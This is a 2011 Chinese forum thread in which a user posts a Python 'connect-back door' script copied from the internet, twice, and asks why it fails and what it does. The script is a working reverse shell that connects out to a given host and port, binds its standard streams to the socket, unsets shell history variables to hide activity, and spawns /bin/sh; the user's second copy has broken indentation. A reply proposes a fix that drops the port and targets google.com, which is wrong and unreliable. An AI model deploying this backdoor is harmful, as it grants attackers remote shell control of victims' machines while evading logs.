+ -
当前位置:首页 → 问答吧 → 帮忙分析下这段代码

帮忙分析下这段代码

时间:2011-03-15

来源:互联网

这是摘自网络的一段脚本
  1. #!/usr/bin/python
  2. import sys
  3. import os
  4. import socket
  5. import pty
  6. shell = "/bin/sh"
  7. def usage(programname):
  8. print "ython connect-back door"
  9. print "Usage: %s " % programname
  10. def main():
  11. if len(sys.argv) !=3:
  12. usage(sys.argv[0])
  13. sys.exit(1)
  14. s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  15. try:
  16. s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
  17. print "[+]Connect OK."
  18. except:
  19. print "[-]Can't connect"
  20. sys.exit(2)
  21. os.dup2(s.fileno(),0)
  22. os.dup2(s.fileno(),1)
  23. os.dup2(s.fileno(),2)
  24. global shell
  25. os.unsetenv("HISTFILE")
  26. os.unsetenv("HISTFILESIZE")
  27. pty.spawn(shell)
  28. s.close()
  29. if __name__ == "__main__":
  30. main()
复制代码
这是我自己简单的排版下,没有做过任何修改,只不过运行还是出错!看这段脚本意思实在吃力有些看不懂,谁方便的请分析解释下谢谢。
  1. #!/usr/bin/python
  2. import sys
  3. import os
  4. import socket
  5. import pty
  6. shell = "/bin/sh"
  7. def usage(programname):
  8.         print "python connect-back door"
  9.         print "Usage: %s " % programname
  10. def main():
  11.     if len(sys.argv) !=3:
  12.         usage(sys.argv[0])
  13.         sys.exit(1)
  14. s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  15. try:
  16.     s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
  17.     print "[+]Connect OK."
  18. except:
  19.     print "[-]Can't connect"
  20.     sys.exit(2)
  21.     os.dup2(s.fileno(),0)
  22.     os.dup2(s.fileno(),1)
  23.     os.dup2(s.fileno(),2)
  24.     global shell
  25.     os.unsetenv("HISTFILE")
  26.     os.unsetenv("HISTFILESIZE")
  27.     pty.spawn(shell)
  28.     s.close()
  29. if __name__ == "__main__":
  30.     main()
复制代码

作者: skyxue215   发布时间: 2011-03-15

我认为这个程序有点问题:
16行应该是这样的:
s.connect((socket.gethostbyname(sys.argv[1]))
同时要注意:运行时应该在命令行,输入参数,如下:
python test.py www.google.com

作者: linus8866   发布时间: 2011-03-15